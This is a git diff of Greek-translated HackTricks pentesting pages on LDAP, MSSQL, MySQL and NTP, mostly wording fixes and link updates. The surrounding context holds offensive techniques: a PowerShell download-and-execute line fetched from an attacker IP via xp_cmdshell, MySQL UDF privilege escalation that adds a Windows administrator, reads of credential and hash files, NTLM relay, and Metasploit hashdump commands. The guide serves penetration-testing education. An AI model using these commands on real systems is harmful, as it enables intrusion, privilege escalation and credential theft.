![](../images/ldapx.png) ![](../images/ldapx.png)
@ -306,11 +306,11 @@ done
## POST ## POST
Εάν μπορείτε να έχετε πρόσβαση στα αρχεία όπου περιέχονται οι βάσεις δεδομένων (μπορεί να είναι στο _/var/lib/ldap_). Μπορείτε να εξάγετε τους κατακερματισμούς χρησιμοποιώντας: Αν μπορείτε να έχετε πρόσβαση στα αρχεία όπου περιέχονται οι βάσεις δεδομένων (μπορεί να είναι στο _/var/lib/ldap_). Μπορείτε να εξάγετε τους κατακερματισμούς χρησιμοποιώντας:
```bash ```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
``` ```
Μπορείτε να δώσετε στον john το hash του κωδικού πρόσβασης (από '{SSHA}' έως 'structural' χωρίς να προσθέσετε 'structural'). Μπορείτε να τροφοδοτήσετε τον john με το hash του κωδικού πρόσβασης (από '{SSHA}' έως 'structural' χωρίς να προσθέσετε 'structural').
### Αρχεία Ρυθμίσεων ### Αρχεία Ρυθμίσεων
@ -347,7 +347,7 @@ Description: Notes for LDAP
Note: | Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint. The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.xyz/pentesting/pentesting-ldap https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html
Entry_2: Entry_2:
Name: Banner Grab Name: Banner Grab

View File

@ -6,7 +6,7 @@
From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
> **Microsoft SQL Server** είναι ένα **συστήμα διαχείρισης σχεσιακών βάσεων δεδομένων** που αναπτύχθηκε από τη Microsoft. Ως διακομιστής βάσης δεδομένων, είναι ένα προϊόν λογισμικού με κύρια λειτουργία την αποθήκευση και ανάκτηση δεδομένων όπως ζητείται από άλλες εφαρμογές λογισμικού—οι οποίες μπορεί να εκτελούνται είτε στον ίδιο υπολογιστή είτε σε άλλο υπολογιστή μέσω ενός δικτύου (συμπεριλαμβανομένου του Διαδικτύου). > **Microsoft SQL Server** είναι ένα **συστήμα διαχείρισης σχεσιακών βάσεων δεδομένων** που αναπτύχθηκε από τη Microsoft. Ως διακομιστής βάσεων δεδομένων, είναι ένα προϊόν λογισμικού με κύρια λειτουργία την αποθήκευση και ανάκτηση δεδομένων όπως ζητείται από άλλες εφαρμογές λογισμικού—οι οποίες μπορεί να εκτελούνται είτε στον ίδιο υπολογιστή είτε σε άλλο υπολογιστή μέσω ενός δικτύου (συμπεριλαμβανομένου του Διαδικτύου).
**Default port:** 1433 **Default port:** 1433
``` ```
@ -158,7 +158,7 @@ SELECT * FROM sysusers
1. **Securable:** Ορίζεται ως οι πόροι που διαχειρίζεται ο SQL Server για τον έλεγχο πρόσβασης. Αυτοί κατηγοριοποιούνται σε: 1. **Securable:** Ορίζεται ως οι πόροι που διαχειρίζεται ο SQL Server για τον έλεγχο πρόσβασης. Αυτοί κατηγοριοποιούνται σε:
- **Server** Παραδείγματα περιλαμβάνουν βάσεις δεδομένων, συνδέσεις, σημεία πρόσβασης, ομάδες διαθεσιμότητας και ρόλους διακομιστή. - **Server** Παραδείγματα περιλαμβάνουν βάσεις δεδομένων, συνδέσεις, σημεία πρόσβασης, ομάδες διαθεσιμότητας και ρόλους διακομιστή.
- **Database** Παραδείγματα καλύπτουν ρόλους βάσης δεδομένων, ρόλους εφαρμογών, σχήματα, πιστοποιητικά, καταλόγους πλήρους κειμένου και χρήστες. - **Database** Παραδείγματα καλύπτουν ρόλους βάσης δεδομένων, ρόλους εφαρμογών, σχήματα, πιστοποιητικά, καταλόγους πλήρους κειμένου και χρήστες.
- **Schema** Περιλαμβάνει πίνακες, προβολές, διαδικασίες, συναρτήσεις, συνώνυμα κ.λπ. - **Schema** Περιλαμβάνει πίνακες, προβολές, διαδικασίες, συναρτήσεις, συνώνυμα, κ.λπ.
2. **Permission:** Συνδέεται με τα securables του SQL Server, οι άδειες όπως ALTER, CONTROL και CREATE μπορούν να παραχωρηθούν σε έναν κύριο. Η διαχείριση των αδειών συμβαίνει σε δύο επίπεδα: 2. **Permission:** Συνδέεται με τα securables του SQL Server, οι άδειες όπως ALTER, CONTROL και CREATE μπορούν να παραχωρηθούν σε έναν κύριο. Η διαχείριση των αδειών συμβαίνει σε δύο επίπεδα:
- **Server Level** χρησιμοποιώντας συνδέσεις - **Server Level** χρησιμοποιώντας συνδέσεις
- **Database Level** χρησιμοποιώντας χρήστες - **Database Level** χρησιμοποιώντας χρήστες
@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell'
### Execute OS Commands ### Execute OS Commands
> [!CAUTION] > [!CAUTION]
> Σημειώστε ότι για να μπορέσετε να εκτελέσετε εντολές, δεν είναι μόνο απαραίτητο να έχετε **`xp_cmdshell`** **ενεργοποιημένο**, αλλά επίσης να έχετε την **άδεια EXECUTE στη διαδικασία αποθήκευσης `xp_cmdshell`**. Μπορείτε να δείτε ποιος (εκτός από τους sysadmins) μπορεί να χρησιμοποιήσει **`xp_cmdshell`** με: > Σημειώστε ότι για να μπορέσετε να εκτελέσετε εντολές, δεν είναι μόνο απαραίτητο να έχετε **`xp_cmdshell`** **ενεργοποιημένο**, αλλά και να έχετε την **άδεια EXECUTE στη διαδικασία αποθήκευσης `xp_cmdshell`**. Μπορείτε να δείτε ποιος (εκτός από τους sysadmins) μπορεί να χρησιμοποιήσει **`xp_cmdshell`** με:
> >
> ```sql > ```sql
> Use master > Use master
@ -260,7 +260,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
``` ```
> [!WARNING] > [!WARNING]
> Μπορείτε να ελέγξετε ποιος (εκτός από τους διαχειριστές συστήματος) έχει άδειες για να εκτελεί αυτές τις λειτουργίες MSSQL με: > Μπορείτε να ελέγξετε ποιος (εκτός από τους διαχειριστές συστήματος) έχει άδειες για να εκτελέσει αυτές τις λειτουργίες MSSQL με:
> >
> ```sql > ```sql
> Use master; > Use master;
@ -306,7 +306,7 @@ EXECUTE sp_OADestroy @OLE
``` ```
### **Διαβάστε αρχείο με** OPENROWSET ### **Διαβάστε αρχείο με** OPENROWSET
Από προεπιλογή, `MSSQL` επιτρέπει την ανάγνωση αρχείων **σε οποιοδήποτε αρχείο στο λειτουργικό σύστημα στο οποίο ο λογαριασμός έχει δικαίωμα ανάγνωσης**. Μπορούμε να χρησιμοποιήσουμε την παρακάτω SQL ερώτηση: Από προεπιλογή, `MSSQL` επιτρέπει την ανάγνωση αρχείου **σε οποιοδήποτε αρχείο στο λειτουργικό σύστημα στο οποίο ο λογαριασμός έχει δικαιώματα ανάγνωσης**. Μπορούμε να χρησιμοποιήσουμε την παρακάτω SQL ερώτηση:
```sql ```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
``` ```
@ -321,7 +321,7 @@ https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\w
``` ```
### **RCE/Ανάγνωση αρχείων εκτελώντας σενάρια (Python και R)** ### **RCE/Ανάγνωση αρχείων εκτελώντας σενάρια (Python και R)**
MSSQL θα μπορούσε να σας επιτρέψει να εκτελέσετε **σενάρια σε Python και/ή R**. Αυτός ο κώδικας θα εκτελείται από **διαφορετικό χρήστη** από αυτόν που χρησιμοποιεί **xp_cmdshell** για να εκτελέσει εντολές. MSSQL θα μπορούσε να σας επιτρέψει να εκτελέσετε **σενάρια σε Python και/ή R**. Αυτός ο κώδικας θα εκτελείται από έναν **διαφορετικό χρήστη** από αυτόν που χρησιμοποιεί **xp_cmdshell** για να εκτελέσει εντολές.
Παράδειγμα προσπαθώντας να εκτελέσετε ένα **'R'** _"Hellow World!"_ **δεν λειτουργεί**: Παράδειγμα προσπαθώντας να εκτελέσετε ένα **'R'** _"Hellow World!"_ **δεν λειτουργεί**:
@ -345,8 +345,8 @@ GO
Microsoft SQL Server παρέχει **πολλές επεκτεταμένες αποθηκευμένες διαδικασίες** που σας επιτρέπουν να αλληλεπιδράτε όχι μόνο με το δίκτυο αλλά και με το σύστημα αρχείων και ακόμη και το [**Μητρώο των Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:** Microsoft SQL Server παρέχει **πολλές επεκτεταμένες αποθηκευμένες διαδικασίες** που σας επιτρέπουν να αλληλεπιδράτε όχι μόνο με το δίκτυο αλλά και με το σύστημα αρχείων και ακόμη και το [**Μητρώο των Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
| **Κανονική** | **Ευαισθησία σε Instance** | | **Κανονικές** | **Ευαισθητοποιημένες σε Instance** |
| --------------------------- | ------------------------------------ | | ----------------------------- | ------------------------------------ |
| sys.xp_regread | sys.xp_instance_regread | | sys.xp_regread | sys.xp_instance_regread |
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues | | sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
| sys.xp_regenumkeys | sys.xp_instance_regenumkeys | | sys.xp_regenumkeys | sys.xp_instance_regenumkeys |
@ -438,7 +438,7 @@ public void Test()
### Από db_owner σε sysadmin ### Από db_owner σε sysadmin
Εάν ένας **κανονικός χρήστης** λάβει τον ρόλο **`db_owner`** πάνω στη **βάση δεδομένων που ανήκει σε έναν χρήστη διαχειριστή** (όπως ο **`sa`**) και αυτή η βάση δεδομένων είναι ρυθμισμένη ως **`trustworthy`**, αυτός ο χρήστης μπορεί να καταχραστεί αυτά τα προνόμια για **privesc** επειδή οι **stored procedures** που δημιουργούνται εκεί μπορούν να **εκτελούνται** ως ο ιδιοκτήτης (**admin**). Εάν ένας **κανονικός χρήστης** λάβει τον ρόλο **`db_owner`** πάνω στη **βάση δεδομένων που ανήκει σε έναν χρήστη διαχειριστή** (όπως ο **`sa`**) και αυτή η βάση δεδομένων είναι ρυθμισμένη ως **`trustworthy`**, αυτός ο χρήστης μπορεί να καταχραστεί αυτά τα προνόμια για **privesc** επειδή οι **stored procedures** που δημιουργούνται εκεί μπορούν να **εκτελούνται** ως ο ιδιοκτήτης (**διαχειριστής**).
```sql ```sql
# Get owners of databases # Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases SELECT suser_sname(owner_sid) FROM sys.databases
@ -505,9 +505,9 @@ enum_links
use_link [NAME] use_link [NAME]
``` ```
> [!NOTE] > [!NOTE]
> Αν μπορείτε να προσποιηθείτε έναν χρήστη, ακόμη και αν δεν είναι sysadmin, θα πρέπει να ελέγξετε **αν ο χρήστης έχει πρόσβαση** σε άλλες **βάσεις δεδομένων** ή συνδεδεμένους διακομιστές. > Αν μπορείτε να μιμηθείτε έναν χρήστη, ακόμη και αν δεν είναι sysadmin, θα πρέπει να ελέγξετε **αν ο χρήστης έχει πρόσβαση** σε άλλες **βάσεις δεδομένων** ή συνδεδεμένους διακομιστές.
>
> Σημειώστε ότι μόλις γίνετε sysadmin μπορείτε να προσποιηθείτε οποιονδήποτε άλλο: Σημειώστε ότι μόλις γίνετε sysadmin μπορείτε να μιμηθείτε οποιονδήποτε άλλο:
```sql ```sql
-- Impersonate RegUser -- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser' EXECUTE AS LOGIN = 'RegUser'
@ -535,7 +535,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
Ένας επιτιθέμενος μπορεί να εξάγει τους κωδικούς πρόσβασης των SQL Server Linked Servers από τις SQL Instances και να τους αποκτήσει σε καθαρό κείμενο, παρέχοντας στον επιτιθέμενο κωδικούς πρόσβασης που μπορούν να χρησιμοποιηθούν για να αποκτήσουν μεγαλύτερη πρόσβαση στον στόχο. Το σενάριο για την εξαγωγή και αποκρυπτογράφηση των κωδικών πρόσβασης που αποθηκεύονται για τους Linked Servers μπορεί να βρεθεί [εδώ](https://www.richardswinbank.net/admin/extract_linked_server_passwords) Ένας επιτιθέμενος μπορεί να εξάγει τους κωδικούς πρόσβασης των SQL Server Linked Servers από τις SQL Instances και να τους αποκτήσει σε καθαρό κείμενο, παρέχοντας στον επιτιθέμενο κωδικούς πρόσβασης που μπορούν να χρησιμοποιηθούν για να αποκτήσουν μεγαλύτερη πρόσβαση στον στόχο. Το σενάριο για την εξαγωγή και αποκρυπτογράφηση των κωδικών πρόσβασης που αποθηκεύονται για τους Linked Servers μπορεί να βρεθεί [εδώ](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
Ορισμένες απαιτήσεις και ρυθμίσεις πρέπει να γίνουν ώστε να λειτουργήσει αυτή η εκμετάλλευση. Πρώτα απ' όλα, πρέπει να έχετε δικαιώματα Διαχειριστή στη μηχανή, ή τη δυνατότητα να διαχειριστείτε τις ρυθμίσεις του SQL Server. Ορισμένες απαιτήσεις και ρυθμίσεις πρέπει να γίνουν προκειμένου να λειτουργήσει αυτή η εκμετάλλευση. Πρώτα απ' όλα, πρέπει να έχετε δικαιώματα Διαχειριστή στη μηχανή ή τη δυνατότητα διαχείρισης των ρυθμίσεων του SQL Server.
Αφού επιβεβαιώσετε τα δικαιώματά σας, πρέπει να ρυθμίσετε τρία πράγματα, τα οποία είναι τα εξής: Αφού επιβεβαιώσετε τα δικαιώματά σας, πρέπει να ρυθμίσετε τρία πράγματα, τα οποία είναι τα εξής:
@ -547,7 +547,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
Για περισσότερες πληροφορίες, ανατρέξτε στους παρακάτω συνδέσμους σχετικά με αυτή την επίθεση: [Αποκρυπτογράφηση Κωδικών Πρόσβασης MSSQL Database Link Server](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) Για περισσότερες πληροφορίες, ανατρέξτε στους παρακάτω συνδέσμους σχετικά με αυτή την επίθεση: [Αποκρυπτογράφηση Κωδικών Πρόσβασης MSSQL Database Link Server](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[Αντιμετώπιση προβλημάτων της Σύνδεσης Αφιερωμένου Διαχειριστή SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) [Επίλυση προβλημάτων της Σύνδεσης Αφιερωμένου Διαχειριστή SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
## Τοπική Κλιμάκωση Δικαιωμάτων ## Τοπική Κλιμάκωση Δικαιωμάτων
@ -620,7 +620,7 @@ go
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')" xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html
Entry_2: Entry_2:
Name: Nmap for SQL Name: Nmap for SQL

View File

@ -116,7 +116,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
```bash ```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
``` ```
(Παρατηρήστε τη λέξη "local")\ (Σημειώστε τη λέξη "local")\
Επειδή χωρίς το "local" μπορείτε να αποκτήσετε: Επειδή χωρίς το "local" μπορείτε να αποκτήσετε:
```bash ```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
@ -142,16 +142,16 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=
``` ```
#### Επικίνδυνες Ρυθμίσεις του mysqld.cnf #### Επικίνδυνες Ρυθμίσεις του mysqld.cnf
Στη διαμόρφωση των υπηρεσιών MySQL, διάφορες ρυθμίσεις χρησιμοποιούνται για να καθορίσουν τη λειτουργία και τα μέτρα ασφαλείας της: Στη διαμόρφωση των υπηρεσιών MySQL, διάφορες ρυθμίσεις χρησιμοποιούνται για τον καθορισμό της λειτουργίας και των μέτρων ασφαλείας της:
- Η **`user`** ρύθμιση χρησιμοποιείται για τον καθορισμό του χρήστη υπό τον οποίο θα εκτελείται η υπηρεσία MySQL. - Η **`user`** ρύθμιση χρησιμοποιείται για τον καθορισμό του χρήστη υπό τον οποίο θα εκτελείται η υπηρεσία MySQL.
- Η **`password`** εφαρμόζεται για την καθορισμένη του κωδικού πρόσβασης που σχετίζεται με τον χρήστη MySQL. - Η **`password`** εφαρμόζεται για την καθορισμό του κωδικού πρόσβασης που σχετίζεται με τον χρήστη MySQL.
- Η **`admin_address`** καθορίζει τη διεύθυνση IP που ακούει για TCP/IP συνδέσεις στη διαχειριστική διεπαφή δικτύου. - Η **`admin_address`** καθορίζει τη διεύθυνση IP που ακούει για συνδέσεις TCP/IP στη διαχειριστική διεπαφή δικτύου.
- Η **`debug`** μεταβλητή είναι ενδεικτική των τρεχουσών ρυθμίσεων αποσφαλμάτωσης, συμπεριλαμβανομένων ευαίσθητων πληροφοριών μέσα στα αρχεία καταγραφής. - Η **`debug`** μεταβλητή υποδεικνύει τις τρέχουσες ρυθμίσεις αποσφαλμάτωσης, συμπεριλαμβανομένων ευαίσθητων πληροφοριών μέσα στα αρχεία καταγραφής.
- Η **`sql_warnings`** διαχειρίζεται εάν παράγονται πληροφοριακές συμβολοσειρές για δηλώσεις INSERT μίας γραμμής όταν προκύπτουν προειδοποιήσεις, περιέχοντας ευαίσθητα δεδομένα μέσα στα αρχεία καταγραφής. - Η **`sql_warnings`** διαχειρίζεται εάν παράγονται πληροφοριακές συμβολοσειρές για δηλώσεις INSERT μίας γραμμής όταν προκύπτουν προειδοποιήσεις, περιέχοντας ευαίσθητα δεδομένα μέσα στα αρχεία καταγραφής.
- Με την **`secure_file_priv`**, το πεδίο των λειτουργιών εισαγωγής και εξαγωγής δεδομένων περιορίζεται για την ενίσχυση της ασφάλειας. - Με την **`secure_file_priv`**, το πεδίο των λειτουργιών εισαγωγής και εξαγωγής δεδομένων περιορίζεται για την ενίσχυση της ασφάλειας.
### Ανάβαση προνομίων ### Ανύψωση δικαιωμάτων
```bash ```bash
# Get current user (an all users) privileges and hashes # Get current user (an all users) privileges and hashes
use mysql; use mysql;
@ -171,16 +171,16 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
``` ```
### Privilege Escalation via library ### Privilege Escalation via library
Αν ο **mysql server τρέχει ως root** (ή ως διαφορετικός πιο προνομιούχος χρήστης) μπορείτε να τον κάνετε να εκτελεί εντολές. Για αυτό, χρειάζεται να χρησιμοποιήσετε **user defined functions**. Και για να δημιουργήσετε μια user defined θα χρειαστείτε μια **library** για το λειτουργικό σύστημα που τρέχει το mysql. If the **mysql server is running as root** (or a different more privileged user) you can make it execute commands. For that, you need to use **user defined functions**. And to create a user defined you will need a **library** for the OS that is running mysql.
Η κακόβουλη βιβλιοθήκη που θα χρησιμοποιήσετε μπορεί να βρεθεί μέσα στο sqlmap και μέσα στο metasploit κάνοντας **`locate "*lib_mysqludf_sys*"`**. Τα **`.so`** αρχεία είναι **linux** βιβλιοθήκες και τα **`.dll`** είναι οι **Windows**. Επιλέξτε αυτή που χρειάζεστε. The malicious library to use can be found inside sqlmap and inside metasploit by doing **`locate "*lib_mysqludf_sys*"`**. The **`.so`** files are **linux** libraries and the **`.dll`** are the **Windows** ones, choose the one you need.
Αν **δεν έχετε** αυτές τις βιβλιοθήκες, μπορείτε είτε να **τις αναζητήσετε**, είτε να κατεβάσετε αυτό το [**linux C code**](https://www.exploit-db.com/exploits/1518) και να **το μεταγλωττίσετε μέσα στη linux ευάλωτη μηχανή**: If you **don't have** those libraries, you can either **look for them**, or download this [**linux C code**](https://www.exploit-db.com/exploits/1518) and **compile it inside the linux vulnerable machine**:
```bash ```bash
gcc -g -c raptor_udf2.c gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
``` ```
Τώρα που έχετε τη βιβλιοθήκη, συνδεθείτε στο Mysql ως προνομιούχος χρήστης (root;) και ακολουθήστε τα επόμενα βήματα: Τώρα που έχετε τη βιβλιοθήκη, συνδεθείτε μέσα στο Mysql ως προνομιούχος χρήστης (root;) και ακολουθήστε τα επόμενα βήματα:
#### Linux #### Linux
```sql ```sql
@ -216,11 +216,11 @@ SELECT sys_exec("net localgroup Administrators npn /add");
``` ```
### Εξαγωγή διαπιστευτηρίων MySQL από αρχεία ### Εξαγωγή διαπιστευτηρίων MySQL από αρχεία
Μέσα στο _/etc/mysql/debian.cnf_ μπορείτε να βρείτε τον **καθαρό κωδικό πρόσβασης** του χρήστη **debian-sys-maint** Μέσα στο _/etc/mysql/debian.cnf_ μπορείτε να βρείτε τον **κωδικό πρόσβασης σε απλό κείμενο** του χρήστη **debian-sys-maint**
```bash ```bash
cat /etc/mysql/debian.cnf cat /etc/mysql/debian.cnf
``` ```
Μπορείτε να **χρησιμοποιήσετε αυτά τα διαπιστευτήρια για να συνδεθείτε στη βάση δεδομένων mysql**. Μπορείτε **να χρησιμοποιήσετε αυτά τα διαπιστευτήρια για να συνδεθείτε στη βάση δεδομένων mysql**.
Μέσα στο αρχείο: _/var/lib/mysql/mysql/user.MYD_ μπορείτε να βρείτε **όλους τους κατακερματισμούς των χρηστών MySQL** (αυτούς που μπορείτε να εξάγετε από mysql.user μέσα στη βάση δεδομένων)_._ Μέσα στο αρχείο: _/var/lib/mysql/mysql/user.MYD_ μπορείτε να βρείτε **όλους τους κατακερματισμούς των χρηστών MySQL** (αυτούς που μπορείτε να εξάγετε από mysql.user μέσα στη βάση δεδομένων)_._
@ -590,7 +590,7 @@ Description: Notes for MySql
Note: | Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL). MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
https://book.hacktricks.xyz/pentesting/pentesting-mysql https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html
Entry_2: Entry_2:
Name: Nmap Name: Nmap
@ -609,6 +609,4 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
``` ```
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -2,20 +2,20 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## Βασικές Πληροφορίες ## Basic Information
Το **Network Time Protocol (NTP)** διασφαλίζει ότι οι υπολογιστές και οι δικτυακές συσκευές σε δίκτυα με μεταβλητή καθυστέρηση συγχρονίζουν τις ρολόγια τους με ακρίβεια. Είναι ζωτικής σημασίας για τη διατήρηση ακριβούς χρονομέτρησης στις λειτουργίες IT, την ασφάλεια και την καταγραφή. Η ακρίβεια του NTP είναι ουσιώδης, αλλά ενέχει επίσης κινδύνους ασφαλείας αν δεν διαχειριστεί σωστά. Το **Network Time Protocol (NTP)** διασφαλίζει ότι οι υπολογιστές και οι δικτυακές συσκευές σε δίκτυα με μεταβλητή καθυστέρηση συγχρονίζουν τις ρολόγια τους με ακρίβεια. Είναι ζωτικής σημασίας για τη διατήρηση ακριβούς χρονομέτρησης στις λειτουργίες IT, την ασφάλεια και την καταγραφή. Η ακρίβεια του NTP είναι ουσιώδης, αλλά ενέχει επίσης κινδύνους ασφαλείας αν δεν διαχειριστεί σωστά.
### Περίληψη & Συμβουλές Ασφαλείας: ### Summary & Security Tips:
- **Σκοπός**: Συγχρονίζει τις ρολόγια των συσκευών μέσω δικτύων. - **Purpose**: Συγχρονίζει τις ρολόγια των συσκευών μέσω δικτύων.
- **Σημασία**: Κρίσιμη για την ασφάλεια, την καταγραφή και τις λειτουργίες. - **Importance**: Κρίσιμο για την ασφάλεια, την καταγραφή και τις λειτουργίες.
- **Μέτρα Ασφαλείας**: - **Security Measures**:
- Χρησιμοποιήστε αξιόπιστες πηγές NTP με αυθεντικοποίηση. - Χρησιμοποιήστε αξιόπιστες πηγές NTP με αυθεντικοποίηση.
- Περιορίστε την πρόσβαση στο δίκτυο του διακομιστή NTP. - Περιορίστε την πρόσβαση στο δίκτυο του NTP server.
- Παρακολουθήστε τον συγχρονισμό για σημάδια παρεμβολής. - Παρακολουθήστε τον συγχρονισμό για σημάδια παρεμβολής.
**Προεπιλεγμένη θύρα:** 123/udp **Default port:** 123/udp
``` ```
PORT STATE SERVICE REASON PORT STATE SERVICE REASON
123/udp open ntp udp-response 123/udp open ntp udp-response
@ -42,7 +42,7 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1
[**Πώς Λειτουργεί η Επίθεση DDoS NTP**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref) [**Πώς Λειτουργεί η Επίθεση DDoS NTP**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref)
Το ** πρωτόκολλο NTP**, χρησιμοποιώντας UDP, επιτρέπει τη λειτουργία χωρίς την ανάγκη διαδικασιών χειραψίας, σε αντίθεση με το TCP. Αυτή η χαρακτηριστική εκμεταλλεύεται σε **επιθέσεις ενίσχυσης DDoS NTP**. Εδώ, οι επιτιθέμενοι δημιουργούν πακέτα με ψεύτικη διεύθυνση IP προέλευσης, κάνοντάς το να φαίνεται ότι τα αιτήματα επίθεσης προέρχονται από το θύμα. Αυτά τα πακέτα, αρχικά μικρά, προκαλούν τον διακομιστή NTP να απαντήσει με πολύ μεγαλύτερους όγκους δεδομένων, ενισχύοντας την επίθεση. Το **πρωτόκολλο NTP**, χρησιμοποιώντας UDP, επιτρέπει τη λειτουργία χωρίς την ανάγκη διαδικασιών χειραψίας, σε αντίθεση με το TCP. Αυτή η χαρακτηριστική εκμεταλλεύεται σε **επιθέσεις ενίσχυσης DDoS NTP**. Εδώ, οι επιτιθέμενοι δημιουργούν πακέτα με ψεύτικη διεύθυνση IP προέλευσης, κάνοντάς το να φαίνεται ότι τα αιτήματα επίθεσης προέρχονται από το θύμα. Αυτά τα πακέτα, αρχικά μικρά, προκαλούν τον διακομιστή NTP να απαντήσει με πολύ μεγαλύτερους όγκους δεδομένων, ενισχύοντας την επίθεση.
Η _**εντολή MONLIST**_, παρά τη σπάνια χρήση της, μπορεί να αναφέρει τους τελευταίους 600 πελάτες που συνδέθηκαν στην υπηρεσία NTP. Ενώ η εντολή αυτή είναι απλή, η κακή χρήση της σε τέτοιες επιθέσεις αναδεικνύει κρίσιμες ευπάθειες ασφαλείας. Η _**εντολή MONLIST**_, παρά τη σπάνια χρήση της, μπορεί να αναφέρει τους τελευταίους 600 πελάτες που συνδέθηκαν στην υπηρεσία NTP. Ενώ η εντολή αυτή είναι απλή, η κακή χρήση της σε τέτοιες επιθέσεις αναδεικνύει κρίσιμες ευπάθειες ασφαλείας.
```bash ```bash
@ -64,7 +64,7 @@ Description: Notes for NTP
Note: | Note: |
The Network Time Protocol (NTP) ensures computers and network devices across variable-latency networks sync their clocks accurately. It's vital for maintaining precise timekeeping in IT operations, security, and logging. NTP's accuracy is essential, but it also poses security risks if not properly managed. The Network Time Protocol (NTP) ensures computers and network devices across variable-latency networks sync their clocks accurately. It's vital for maintaining precise timekeeping in IT operations, security, and logging. NTP's accuracy is essential, but it also poses security risks if not properly managed.
https://book.hacktricks.xyz/pentesting/pentesting-ntp https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ntp.html
Entry_2: Entry_2:
Name: Nmap Name: Nmap

View File

@ -4,16 +4,16 @@
## Basic Information ## Basic Information
